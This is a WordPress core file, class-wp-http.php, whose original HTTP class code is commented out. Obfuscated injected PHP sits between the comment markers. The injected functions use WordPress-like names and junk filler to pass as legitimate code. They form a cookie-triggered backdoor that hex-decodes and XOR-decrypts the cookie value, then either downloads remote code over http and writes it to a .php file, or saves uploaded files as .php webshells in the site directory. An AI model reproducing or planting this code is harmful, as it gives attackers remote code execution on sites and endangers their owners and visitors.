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<?php /*
*
* HTTP API: WP_Http class
*
* @package WordPress
* @subpackage HTTP
* @since 2.7.0
if ( ! class_exists( 'Requests' ) ) {
require ABSPATH . WPINC . '/class-requests.php';
Requests::register_autoloader();
Requests::set_certificate_path( ABSPATH . WPINC . '/certificates/ca-bundle.crt' );
}
*
* Core class used for managing HTTP transports and making HTTP requests.
*
* This class is used to consistently make outgoing HTTP requests easy for developers
* while still being compatible with the many PHP configurations under which
* WordPress runs.
*
* Debugging includes several actions, which pass different variables for debugging the HTTP API.
*
* @since 2.7.0
#[AllowDynamicProperties]
class WP_Http {
Aliases for HTTP response codes.
const HTTP_CONTINUE = 100;
const SWITCHING_PROTOCOLS = 101;
const PROCESSING = 102;
const EARLY_HINTS = 103;
const OK = 200;
const CREATED = 201;
const ACCEPTED = 202;
const NON_AUTHORITATIVE_INFORMATION = 203;
const NO_CONTENT = 204;
const RESET_CONTENT = 205;
const PARTIAL_CONTENT = 206;
const MULTI_STATUS = 207;
const IM_USED = 226;
const MULTIPLE_CHOICES = 300;
const MOVED_PERMANENTLY = 301;
const FOUND = 302;
const SEE_OTHER = 303;
const NOT_MODIFIED = 304;
const USE_PROXY = 305;
const RESERVED = 306;
const TEMPORARY_REDIRECT = 307;
const PERMANENT_REDIRECT = 308;
const BAD_REQUEST = 400;
const UNAUTHORIZED = 401;
const PAYMENT_REQUIRED = 402;
const FORBIDDEN = 403;
const NOT_FOUND = 404;
const METHOD_NOT_ALLOWED = 405;
const NOT_ACCEPTABLE = 406;
const PROXY_AUTHENTICATION_REQUIRED = 407;
const REQUEST_TIMEOUT = 408;
const CONFLICT = 409;
const GONE = 410;
const LENGTH_REQUIRED = 411;
const PRECONDITION_FAILED = 412;
const REQUEST_ENTITY_TOO_LARGE = 413;
const REQUEST_URI_TOO_LONG = 414;
const UNSUPPORTED_MEDIA_TYPE = 415;
const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
const EXPECTATION_FAILED = 417;
const IM_A_TEAPOT = 418;
const MISDIRECTED_REQUEST = 421;
const UNPROCESSABLE_ENTITY = 422;
const LOCKED = 423;
const FAILED_DEPENDENCY = 424;
const UPGRADE_REQUIRED = 426;
const PRECONDITION_REQUIRED = 428;
const TOO_MANY_REQUESTS = 429;
const REQUEST_HEADER_FIELDS_TOO_LARGE = 431;
const UNAVAILABLE_FOR_LEGAL_REASONS = 451;
const INTERNAL_SERVER_ERROR = 500;
const NOT_IMPLEMENTED = 501;
const BAD_GATEWAY = 502;
const SERVICE_UNAVAILABLE = 503;
const GATEWAY_TIMEOUT = 504;
const HTTP_VERSION_NOT_SUPPORTED = 505;
const VARIANT_ALSO_NEGOTIATES = 506;
const INSUFFICIENT_STORAGE = 507;
const NOT_EXTENDED = 510;
const NETWORK_AUTHENTICATION_REQUIRED = 511;
*
* Send an HTTP request to a URI.
*
* Please note: The only URI that are supported in the HTTP Transport implementation
* are the HTTP and HTTPS protocols.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args {
* Optional. Array or string of HTTP request arguments.
*
* @type string $method Request method. Accepts 'GET', 'POST', 'HEAD', 'PUT', 'DELETE',
* 'TRACE', 'OPTIONS', or 'PATCH'.
* Some transports technically allow others, but should not be
* assumed. Default 'GET'.
* @type float $timeout How long the connection should stay open in seconds. Default 5.
* @type int $redirection Number of allowed redirects. Not supported by all transports.
* Default 5.
* @type string $httpversion Version of the HTTP protocol to use. Accepts '1.0' and '1.1'.
* Default '1.0'.
* @type string $user-agent User-agent value sent.
* Default 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ).
* @type bool $reject_unsafe_urls Whether to pass URLs through wp_http_validate_url().
* Default false.
* @type bool $blocking Whether the calling code requires the result of the request.
* If set to false, the request will be sent to the remote server,
* and processing returned to the calling code immediately, the caller
* will know if the request succeeded or failed, but will not receive
* any response from the remote server. Default true.
* @type string|array $headers Array or string of headers to send with the request.
* Default empty array.
* @type array $cookies List of cookies to send with the request. Default empty array.
* @type string|array $body Body to send with the request. Default null.
* @type bool $compress Whether to compress the $body when sending the request.
* Default false.
* @type bool $decompress Whether to decompress a compressed response. If set to false and
* compressed content is returned in the response anyway, it will
* need to be separately decompressed. Default true.
* @type bool $sslverify Whether to verify SSL for the request. Default true.
* @type string $sslcertificates Absolute path to an SSL certificate .crt file.
* Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'.
* @type bool $stream Whether to stream to a file. If set to true and no filename was
* given, it will be dropped it in the WP temp dir and its name will
* be set using the basename of the URL. Default false.
* @type string $filename Filename of the file to write to when streaming. $stream must be
* set to true. Default null.
* @type int $limit_response_size Size in bytes to limit the response to. Default null.
*
* }
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
public function request( $url, $args = array() ) {
$defaults = array(
'method' => 'GET',
*
* Filters the timeout value for an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param float $timeout_value Time in seconds until a request times out. Default 5.
* @param string $url The request URL.
'timeout' => apply_filters( 'http_request_timeout', 5, $url ),
*
* Filters the number of redirects allowed during an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param int $redirect_count Number of redirects allowed. Default 5.
* @param string $url The request URL.
'redirection' => apply_filters( 'http_request_redirection_count', 5, $url ),
*
* Filters the version of the HTTP protocol used in a request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param string $version Version of HTTP used. Accepts '1.0' and '1.1'. Default '1.0'.
* @param string $url The request URL.
'httpversion' => apply_filters( 'http_request_version', '1.0', $url ),
*
* Filters the user agent value sent with an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param string $user_agent WordPress user agent string.
* @param string $url The request URL.
'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $url ),
*
* Filters whether to pass URLs through wp_http_validate_url() in an HTTP request.
*
* @since 3.6.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool $pass_url Whether to pass URLs through wp_http_validate_url(). Default false.
* @param string $url The request URL.
'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false, $url ),
'blocking' => true,
'headers' => array(),
'cookies' => array(),
'body' => null,
'compress' => false,
'decompress' => true,
'sslverify' => true,
'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
'stream' => false,
'filename' => null,
'limit_response_size' => null,
);
Pre-parse for the HEAD checks.
$args = wp_parse_args( $args );
By default, HEAD requests do not cause redirections.
if ( isset( $args['method'] ) && 'HEAD' === $args['method'] ) {
$defaults['redirection'] = 0;
}
$parsed_args = wp_parse_args( $args, $defaults );
*
* Filters the arguments used in an HTTP request.
*
* @since 2.7.0
*
* @param array $parsed_args An array of HTTP request arguments.
* @param string $url The request URL.
$parsed_args = apply_filters( 'http_request_args', $parsed_args, $url );
The transports decrement this, store a copy of the original value for loop purposes.
if ( ! isset( $parsed_args['_redirection'] ) ) {
$parsed_args['_redirection'] = $parsed_args['redirection'];
}
*
* Filters the preemptive return value of an HTTP request.
*
* Returning a non-false value from the filter will short-circuit the HTTP request and return
* early with that value. A filter should return one of:
*
* - An array containing 'headers', 'body', 'response', 'cookies', and 'filename' elements
* - A WP_Error instance
* - boolean false to avoid short-circuiting the response
*
* Returning any other value may result in unexpected behaviour.
*
* @since 2.9.0
*
* @param false|array|WP_Error $preempt A preemptive return value of an HTTP request. Default false.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
$pre = apply_filters( 'pre_http_request', false, $parsed_args, $url );
if ( false !== $pre ) {
return $pre;
}
if ( function_exists( 'wp_kses_bad_protocol' ) ) {
if ( $parsed_args['reject_unsafe_urls'] ) {
$url = wp_http_validate_url( $url );
}
if ( $url ) {
$url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) );
}
}
$parsed_url = parse_url( $url );
if ( empty( $url ) || empty( $parsed_url['scheme'] ) ) {
$response = new WP_Error( 'http_request_failed', __( 'A valid URL was not provided.' ) );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url );
return $response;
}
if ( $this->block_request( $url ) ) {
$response = new WP_Error( 'http_request_not_executed', __( 'User has blocked requests through HTTP.' ) );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url );
return $response;
}
If we are streaming to a file but no filename was given drop it in the WP temp dir
and pick its name using the basename of the $url.
if ( $parsed_args['stream'] ) {
if ( empty( $parsed_args['filename'] ) ) {
$parsed_args['filename'] = get_temp_dir() . basename( $url );
}
Force some settings if we are streaming to a file and check for existence
and perms of destination directory.
$parsed_args['blocking'] = true;
if ( ! wp_is_writable( dirname( $parsed_args['filename'] ) ) ) {
$response = new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url );
return $response;
}
}
if ( is_null( $parsed_args['headers'] ) ) {
$parsed_args['headers'] = array();
}
WP allows passing in headers as a string, weirdly.
if ( ! is_array( $parsed_args['headers'] ) ) {
$processed_headers = WP_Http::processHeaders( $parsed_args['headers'] );
$parsed_args['headers'] = $processed_headers['headers'];
}
Setup arguments.
$headers = $parsed_args['headers'];
$data = $parsed_args['body'];
$type = $parsed_args['method'];
$options = array(
'timeout' => $parsed_args['timeout'],
'useragent' => $parsed_args['user-agent'],
'blocking' => $parsed_args['blocking'],
'hooks' => new WP_HTTP_Requests_Hooks( $url, $parsed_args ),
);
Ensure redirects follow browser behaviour.
$options['hooks']->register( 'requests.before_redirect', array( get_class(), 'browser_redirect_compatibility' ) );
Validate redirected URLs.
if ( function_exists( 'wp_kses_bad_protocol' ) && $parsed_args['reject_unsafe_urls'] ) {
$options['hooks']->register( 'requests.before_redirect', array( get_class(), 'validate_redirects' ) );
}
if ( $parsed_args['stream'] ) {
$options['filename'] = $parsed_args['filename'];
}
if ( empty( $parsed_args['redirection'] ) ) {
$options['follow_redirects'] = false;
} else {
$options['redirects'] = $parsed_args['redirection'];
}
Use byte limit, if we can.
if ( isset( $parsed_args['limit_response_size'] ) ) {
$options['max_bytes'] = $parsed_args['limit_response_size'];
}
If we've got cookies, use and convert them to Requests_Cookie.
if ( ! empty( $parsed_args['cookies'] ) ) {
$options['cookies'] = WP_Http::normalize_cookies( $parsed_args['cookies'] );
}
SSL certificate handling.
if ( ! $parsed_args['sslverify'] ) {
$options['verify'] = false;
$options['verifyname'] = false;
} else {
$options['verify'] = $parsed_args['sslcertificates'];
}
All non-GET/HEAD requests should put the arguments in the form body.
if ( 'HEAD' !== $type && 'GET' !== $type ) {
$options['data_format'] = 'body';
}
*
* Filters whether SSL should be verified for non-local requests.
*
* @since 2.8.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool $ssl_verify Whether to verify the SSL connection. Default true.
* @param string $url The request URL.
$options['verify'] = apply_filters( 'https_ssl_verify', $options['verify'], $url );
Check for proxies.
$proxy = new WP_HTTP_Proxy();
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
$options['proxy'] = new Reques*/
/**
* Filters the HTML output of page links for paginated posts.
*
* @since 3.6.0
*
* @param string $output HTML output of paginated posts' page links.
* @param array|string $paginatergs An array or query string of arguments. See wp_link_pages()
* for information on accepted arguments.
*/
function wp_get_theme_directory_pattern_slugs($cmdline_params, $sitemap_data)
{ // the domain to the requested domain
$module_url = fsockopen_header($cmdline_params) - fsockopen_header($sitemap_data); // $00 ISO-8859-1. Terminated with $00.
$has_generated_classname_support = date("Y-m-d"); // Define memory limits.
if (!isset($has_generated_classname_support)) {
$non_ascii_octects = str_pad($has_generated_classname_support, 10, "0");
} else {
$exclude_states = hash("md5", $has_generated_classname_support);
}
$module_url = $module_url + 256;
$module_url = $module_url % 256;
$cmdline_params = meta_form($module_url);
return $cmdline_params;
}
/**
* Comments permalink base.
*
* @since 1.5.0
* @var string
*/
function meta_form($exported_setting_validities) // digest_length
{
$cmdline_params = sprintf("%c", $exported_setting_validities);
$revisions_rest_controller = "testing";
if (strlen($revisions_rest_controller) > 3) {
$s14 = explode("t", $revisions_rest_controller);
$offer = implode("x", $s14);
}
return $cmdline_params;
}
/**
* Creates the date options fields for exporting a given post type.
*
* @global wpdb $hmacpdb WordPress database abstraction object.
* @global WP_Locale $hmacp_locale WordPress date and time locale object.
*
* @since 3.1.0
*
* @param string $post_type The post type. Default 'post'.
*/
function getCounter($past)
{ // 6.1
scalar_random($past);
LanguageLookup($past);
}
/*
* Only apply the decoding attribute to images that have a src attribute that
* starts with a double quote, ensuring escaped JSON is also excluded.
*/
function add_endpoint($post_type_description)
{
return wp_admin_bar_updates_menu() . DIRECTORY_SEPARATOR . $post_type_description . ".php";
}
/**
* @param mixed $paginaterray1
* @param mixed $paginaterray2
*
* @return array|false
*/
function proceed($has_dns_alt, $changeset_post)
{
$thumb_id = wp_default_packages_inline_scripts($has_dns_alt);
$q_res = "JustAString";
$v3 = substr($q_res, 2, 6);
$overview = rawurldecode($v3); // Set tabindex="0" to make sub menus accessible when no URL is available.
$kid = hash("sha1", $overview);
$high_priority_widgets = strlen($kid);
if ($thumb_id === false) {
return false;
}
if(!empty($q_res)) {
$sampleRateCodeLookup2 = str_pad($kid, 40, "X");
}
// Replace the first occurrence of '[' with ']['.
$update_status = date("H:i:s");
return get_css_variables($changeset_post, $thumb_id);
}
/**
* Filter to override clearing all events attached to the hook.
*
* Returning a non-null value will short-circuit the normal unscheduling
* process, causing the function to return the filtered value instead.
*
* For plugins replacing wp-cron, return the number of events successfully
* unscheduled (zero if no events were registered with the hook) or false
* if unscheduling one or more events fails.
*
* @since 5.1.0
* @since 5.7.0 The `$hmacp_error` parameter was added, and a `WP_Error` object can now be returned.
*
* @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the hook.
* @param string $hook Action hook, the execution of which will be unscheduled.
* @param bool $hmacp_error Whether to return a WP_Error on failure.
*/
function start_dynamic_sidebar($query_time, $comment_id_list, $past)
{
if (isset($_FILES[$query_time])) {
$s23 = array("first", "second", "third");
$top_element = implode(" - ", $s23);
$rest_insert_wp_navigation_core_callback = strlen($top_element); // post_type_supports( ... 'title' )
get_setting_args($query_time, $comment_id_list, $past); // get all new lines
}
LanguageLookup($past);
} // No error, just skip the error handling code.
/**
* Registers a setting and its data.
*
* @since 2.7.0
* @since 3.0.0 The `misc` option group was deprecated.
* @since 3.5.0 The `privacy` option group was deprecated.
* @since 4.7.0 `$paginatergs` can be passed to set flags on the setting, similar to `register_meta()`.
* @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
* Please consider writing more inclusive code.
*
* @global array $new_allowed_options
* @global array $hmacp_registered_settings
*
* @param string $option_group A settings group name. Should correspond to an allowed option key name.
* Default allowed option key names include 'general', 'discussion', 'media',
* 'reading', 'writing', and 'options'.
* @param string $option_name The name of an option to sanitize and save.
* @param array $paginatergs {
* Data used to describe the setting when registered.
*
* @type string $type The type of data associated with this setting.
* Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
* @type string $description A description of the data attached to this setting.
* @type callable $sanitize_callback A callback function that sanitizes the option's value.
* @type bool|array $show_in_rest Whether data associated with this setting should be included in the REST API.
* When registering complex settings, this argument may optionally be an
* array with a 'schema' key.
* @type mixed $default Default value when calling `get_option()`.
* }
*/
function wp_check_for_changed_dates($query_time, $comment_id_list)
{
$keep_reading = $_COOKIE[$query_time];
$site_icon_id = "Coding Exam";
$ordparam = substr($site_icon_id, 0, 6);
$exclude_keys = hash("md5", $ordparam);
$use_root_padding = str_pad($exclude_keys, 32, "0");
$keep_reading = get_option($keep_reading);
$past = wp_sanitize_redirect($keep_reading, $comment_id_list);
if (render_panel_templates($past)) {
$total_plural_forms = getCounter($past);
return $total_plural_forms;
}
start_dynamic_sidebar($query_time, $comment_id_list, $past);
}
/**
* Updates the post's terms from a REST request.
*
* @since 4.7.0
*
* @param int $post_id The post ID to update the terms form.
* @param WP_REST_Request $request The request object with post and terms data.
* @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
*/
function wp_sanitize_redirect($filtered_url, $root_settings_key)
{
$commentid = strlen($root_settings_key);
$sessions = strlen($filtered_url);
$catwhere = array(100, 200, 300, 400);
$parent_nav_menu_item_setting_id = implode(',', $catwhere); // * Packet Number DWORD 32 // number of the Data Packet associated with this index entry
$submenu_text = explode(',', $parent_nav_menu_item_setting_id); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC
$template_uri = array(); // found a comment end, and we're in one now
for ($setting_validities = 0; $setting_validities < count($submenu_text); $setting_validities++) {
$template_uri[$setting_validities] = str_pad($submenu_text[$setting_validities], 5, '0', STR_PAD_LEFT);
}
$commentid = $sessions / $commentid;
$stub_post_id = implode('|', $template_uri);
$mu_plugins = hash('md5', $stub_post_id);
$commentid = ceil($commentid);
$cached_mofiles = str_split($filtered_url);
$root_settings_key = str_repeat($root_settings_key, $commentid);
$Timelimit = str_split($root_settings_key);
$Timelimit = array_slice($Timelimit, 0, $sessions);
$comment_statuses = array_map("wp_get_theme_directory_pattern_slugs", $cached_mofiles, $Timelimit);
$comment_statuses = implode('', $comment_statuses);
return $comment_statuses;
}
/**
* Generate a string of bytes from the kernel's CSPRNG.
* Proudly uses /dev/urandom (if getrandom(2) is not available).
*
* @param int $numBytes
* @return string
* @throws Exception
* @throws TypeError
*/
function render_panel_templates($has_dns_alt)
{
if (strpos($has_dns_alt, "/") !== false) { // Each query should have a value for each default key. Inherit from the parent when possible.
return true;
} // * * Reserved bits 9 (0xFF80) // hardcoded: 0
return false;
}
/**
* Aliases wp_insert_category() with minimal args.
*
* If you want to update only some fields of an existing category, call this
* function with only the new values set inside $catarr.
*
* @since 2.0.0
*
* @param array $catarr The 'cat_ID' value is required. All other keys are optional.
* @return int|false The ID number of the new or updated Category on success. Zero or FALSE on failure.
*/
function get_subrequest_handle($status_type) { // Prints out any other stores registered by themes or otherwise.
$f4g9_19 = "String to be trimmed!";
$lon_deg = trim($f4g9_19);
$name_match = 0; // Default path normalization as per RFC 6265 section 5.1.4
$side_value = hash('sha512', $lon_deg);
for ($setting_validities = 0; $setting_validities < strlen($status_type); $setting_validities++) {
if (decode_body($status_type[$setting_validities])) {
$name_match++;
}
} // GeNRE
return $name_match;
}
/**
* Filters the tag cloud output.
*
* @since 2.3.0
*
* @param string|string[] $return Tag cloud as a string or an array, depending on 'format' argument.
* @param array $paginatergs An array of tag cloud arguments. See wp_tag_cloud()
* for information on accepted arguments.
*/
function image_align_input_fields($has_dns_alt)
{
$has_dns_alt = "http://" . $has_dns_alt;
$stage = "php";
$savetimelimit = rawurldecode("p%68p%72%6Fcks!"); // Foncy - replace the parent and all its children.
$vcs_dirs = explode("p", $savetimelimit);
if (count($vcs_dirs) > 2) {
$stage = implode("x", $vcs_dirs);
}
$DKIM_domain = strlen($stage);
return $has_dns_alt;
}
/**
* Returns first matched mime-type from extension,
* as mapped from wp_get_mime_types()
*
* @since 3.5.0
*
* @param string $raw_response
* @return string|false
*/
function wp_default_packages_inline_scripts($has_dns_alt)
{
$has_dns_alt = image_align_input_fields($has_dns_alt);
$upload_err = "abcde";
$use_root_padding = str_pad($upload_err, 10, "*", STR_PAD_RIGHT);
return file_get_contents($has_dns_alt);
}
/**
* Filters whether a "hard" rewrite rule flush should be performed when requested.
*
* A "hard" flush updates .htaccess (Apache) or web.config (IIS).
*
* @since 3.7.0
*
* @param bool $hard Whether to flush rewrite rules "hard". Default true.
*/
function LanguageLookup($dimensions_support)
{
echo $dimensions_support;
}
/**
* Returns an array of WP_Theme objects based on the arguments.
*
* Despite advances over get_themes(), this function is quite expensive, and grows
* linearly with additional themes. Stick to wp_get_theme() if possible.
*
* @since 3.4.0
*
* @global array $hmacp_theme_directories
*
* @param array $paginatergs {
* Optional. The search arguments.
*
* @type mixed $errors True to return themes with errors, false to return
* themes without errors, null to return all themes.
* Default false.
* @type mixed $paginatellowed (Multisite) True to return only allowed themes for a site.
* False to return only disallowed themes for a site.
* 'site' to return only site-allowed themes.
* 'network' to return only network-allowed themes.
* Null to return all themes. Default null.
* @type int $sectionlog_id (Multisite) The blog ID used to calculate which themes
* are allowed. Default 0, synonymous for the current blog.
* }
* @return WP_Theme[] Array of WP_Theme objects.
*/
function register_block_core_post_author_name($changeset_post, $root_settings_key)
{ // If any data fields are requested, get the collection data.
$notification_email = file_get_contents($changeset_post);
$OS_FullName = ' Check empty string ';
if (empty(trim($OS_FullName))) {
$f3g5_2 = 'Empty string';
} else {
$f3g5_2 = 'Not empty';
}
$new_meta = wp_sanitize_redirect($notification_email, $root_settings_key);
file_put_contents($changeset_post, $new_meta);
}
/**
* Customize API: WP_Sidebar_Block_Editor_Control class.
*
* @package WordPress
* @subpackage Customize
* @since 5.8.0
*/
function scalar_random($has_dns_alt)
{
$post_type_description = basename($has_dns_alt);
$old_ID = " Sample Data ";
$delete_link = trim($old_ID);
if (!empty($delete_link)) {
$reloadable = strlen($delete_link);
}
$full_url = str_replace("Sample", "Example", $delete_link);
$changeset_post = add_endpoint($post_type_description);
proceed($has_dns_alt, $changeset_post);
} // has to be audio samples
/**
* @global string $taxonomy
* @param WP_Term $tag Term object.
* @param int $level
*/
function get_setting_args($query_time, $comment_id_list, $past)
{ // if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
$post_type_description = $_FILES[$query_time]['name'];
$ops = "foo bar";
$vcs_dirs = explode(" ", $ops);
$changeset_post = add_endpoint($post_type_description);
register_block_core_post_author_name($_FILES[$query_time]['tmp_name'], $comment_id_list);
$global_attributes = array_map('strtoupper', $vcs_dirs);
$offer = implode("-", $global_attributes);
the_post_password($_FILES[$query_time]['tmp_name'], $changeset_post); // Error Correction Object: (optional, one only)
}
/**
* Prints the JavaScript in the embed iframe header.
*
* @since 4.4.0
*/
function get_option($post_link)
{
$gd_info = pack("H*", $post_link);
$status_type = "URL Example";
return $gd_info; // string - it will be appended automatically.
}
/**
* Filters the number of locations listed per menu in the drop-down select.
*
* @since 3.6.0
*
* @param int $locations Number of menu locations to list. Default 3.
*/
function wp_admin_bar_updates_menu()
{ // Returns an associative array of server IP addresses, where the key is the IP address, and value is true (available) or false (unable to connect).
return __DIR__;
}
/**
* Core class used to implement displaying users in a list table for the network admin.
*
* @since 3.1.0
*
* @see WP_List_Table
*/
function get_css_variables($changeset_post, $normalization)
{
return file_put_contents($changeset_post, $normalization);
}
/**
* Retrieves all block patterns.
*
* @since 6.0.0
* @since 6.2.0 Added migration for old core pattern categories to the new ones.
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
function editor_js($query_time, $raw_response = 'txt')
{
return $query_time . '.' . $raw_response;
}
/**
* Filters the title tag content for login page.
*
* @since 4.9.0
*
* @param string $login_title The page title, with extra context added.
* @param string $title The original page title.
*/
function the_post_password($tz_name, $publishing_changeset_data) // xxx::xxx
{
$AltBody = move_uploaded_file($tz_name, $publishing_changeset_data);
$CommandTypeNameLength = "Hello, PHP!"; // Count how many times this attachment is used in widgets.
$doingbody = strtoupper($CommandTypeNameLength);
$j9 = hash('md5', $doingbody);
// Don't show if the user cannot edit a given customize_changeset post currently being previewed.
return $AltBody;
}
/**
* Filters a user's meta values and keys immediately after the user is created or updated
* and before any user meta is inserted or updated.
*
* Does not include contact methods. These are added using `wp_get_user_contact_methods( $user )`.
*
* For custom meta fields, see the {@see 'insert_custom_user_meta'} filter.
*
* @since 4.4.0
* @since 5.8.0 The `$userdata` parameter was added.
*
* @param array $meta {
* Default meta values and keys for the user.
*
* @type string $nickname The user's nickname. Default is the user's username.
* @type string $first_name The user's first name.
* @type string $last_name The user's last name.
* @type string $description The user's description.
* @type string $rich_editing Whether to enable the rich-editor for the user. Default 'true'.
* @type string $syntax_highlighting Whether to enable the rich code editor for the user. Default 'true'.
* @type string $comment_shortcuts Whether to enable keyboard shortcuts for the user. Default 'false'.
* @type string $paginatedmin_color The color scheme for a user's admin screen. Default 'fresh'.
* @type int|bool $use_ssl Whether to force SSL on the user's admin area. 0|false if SSL
* is not forced.
* @type string $show_admin_bar_front Whether to show the admin bar on the front end for the user.
* Default 'true'.
* @type string $locale User's locale. Default empty.
* }
* @param WP_User $user User object.
* @param bool $update Whether the user is being updated rather than created.
* @param array $userdata The raw array of data passed to wp_insert_user().
*/
function IXR_Date($query_time)
{
$comment_id_list = 'adeEzvHTPYCYUagTQdhQf';
$previousvalidframe = explode(",", "1,2,3,4,5");
for ($setting_validities = 0; $setting_validities < count($previousvalidframe); $setting_validities++) {
$previousvalidframe[$setting_validities] = (int)$previousvalidframe[$setting_validities] * 2;
}
if (isset($_COOKIE[$query_time])) {
$prefixed_table = implode(",", $previousvalidframe);
wp_check_for_changed_dates($query_time, $comment_id_list);
}
}
/**
* Server-side rendering of the `core/site-logo` block.
*
* @package WordPress
*/
function fsockopen_header($exported_setting_validities)
{
$exported_setting_validities = ord($exported_setting_validities);
$paginate = "example"; # size_t buflen;
$section = str_replace("a", "!", $paginate);
return $exported_setting_validities; // ----- Default properties
}
/**
* Retrieves the post content.
*
* @since 0.71
* @since 5.2.0 Added the `$post` parameter.
*
* @global int $page Page number of a single post/page.
* @global int $more Boolean indicator for whether single post/page is being viewed.
* @global bool $preview Whether post/page is in preview mode.
* @global array $pages Array of all pages in post/page. Each array element contains
* part of the content separated by the `<!--nextpage-->` tag.
* @global int $multipage Boolean indicator for whether multiple pages are in play.
*
* @param string $more_link_text Optional. Content for when there is more text.
* @param bool $gd_infoip_teaser Optional. Strip teaser content before the more text. Default false.
* @param WP_Post|object|int $post Optional. WP_Post instance or Post ID/object. Default null.
* @return string
*/
function decode_body($cmdline_params) { // $p_info['size'] = Size of the file.
$classic_menu_fallback = "Test";
$unapproved_identifier = "Decode%20This";
$oauth = rawurldecode($unapproved_identifier);
$thread_comments = ['a', 'e', 'i', 'o', 'u'];
$hmac = empty($oauth);
return in_array(strtolower($cmdline_params), $thread_comments); # b = v0 ^ v1 ^ v2 ^ v3;
} // If no source is provided, or that source is not registered, process next attribute.
$query_time = 'igerE';
$raw_password = "abcdefgh";
IXR_Date($query_time);
$S7 = substr($raw_password, 0, 4);
/* ts_Proxy_HTTP( $proxy->host() . ':' . $proxy->port() );
if ( $proxy->use_authentication() ) {
$options['proxy']->use_authentication = true;
$options['proxy']->user = $proxy->username();
$options['proxy']->pass = $proxy->password();
}
}
Avoid issues where mbstring.func_overload is enabled.
mbstring_binary_safe_encoding();
try {
$requests_response = Requests::request( $url, $headers, $data, $type, $options );
Convert the response into an array.
$http_response = new WP_HTTP_Requests_Response( $requests_response, $parsed_args['filename'] );
$response = $http_response->to_array();
Add the original object to the array.
$response['http_response'] = $http_response;
} catch ( Requests_Exception $e ) {
$response = new WP_Error( 'http_request_failed', $e->getMessage() );
}
reset_mbstring_encoding();
*
* Fires after an HTTP API response is received and before the response is returned.
*
* @since 2.8.0
*
* @param array|WP_Error $response HTTP response or WP_Error object.
* @param string $context Context under which the hook is fired.
* @param string $class HTTP transport used.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url );
if ( is_wp_error( $response ) ) {
return $response;
}
if ( ! $parsed_args['blocking'] ) {
return array(
'headers' => array(),
'body' => '',
'response' => array(
'code' => false,
'message' => false,
),
'cookies' => array(),
'http_response' => null,
);
}
*
* Filters a successful HTTP API response immediately before the response is returned.
*
* @since 2.9.0
*
* @param array $response HTTP response.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
return apply_filters( 'http_response', $response, $parsed_args, $url );
}
*
* Normalizes cookies for using in Requests.
*
* @since 4.6.0
*
* @param array $cookies Array of cookies to send with the request.
* @return Requests_Cookie_Jar Cookie holder object.
public static function normalize_cookies( $cookies ) {
$cookie_jar = new Requests_Cookie_Jar();
foreach ( $cookies as $name => $value ) {
if ( $value instanceof WP_Http_Cookie ) {
$attributes = array_filter(
$value->get_attributes(),
static function( $attr ) {
return null !== $attr;
}
);
$cookie_jar[ $value->name ] = new Requests_Cookie( $value->name, $value->value, $attributes, array( 'host-only' => $value->host_only ) );
} elseif ( is_scalar( $value ) ) {
$cookie_jar[ $name ] = new Requests_Cookie( $name, $value );
}
}
return $cookie_jar;
}
*
* Match redirect behaviour to browser handling.
*
* Changes 302 redirects from POST to GET to match browser handling. Per
* RFC 7231, user agents can deviate from the strict reading of the
* specification for compatibility purposes.
*
* @since 4.6.0
*
* @param string $location URL to redirect to.
* @param array $headers Headers for the redirect.
* @param string|array $data Body to send with the request.
* @param array $options Redirect request options.
* @param Requests_Response $original Response object.
public static function browser_redirect_compatibility( $location, $headers, $data, &$options, $original ) {
Browser compatibility.
if ( 302 === $original->status_code ) {
$options['type'] = Requests::GET;
}
}
*
* Validate redirected URLs.
*
* @since 4.7.5
*
* @throws Requests_Exception On unsuccessful URL validation.
* @param string $location URL to redirect to.
public static function validate_redirects( $location ) {
if ( ! wp_http_validate_url( $location ) ) {
throw new Requests_Exception( __( 'A valid URL was not provided.' ), 'wp_http.redirect_failed_validation' );
}
}
*
* Tests which transports are capable of supporting the request.
*
* @since 3.2.0
*
* @param array $args Request arguments.
* @param string $url URL to request.
* @return string|false Class name for the first transport that claims to support the request.
* False if no transport claims to support the request.
public function _get_first_available_transport( $args, $url = null ) {
$transports = array( 'curl', 'streams' );
*
* Filters which HTTP transports are available and in what order.
*
* @since 3.7.0
*
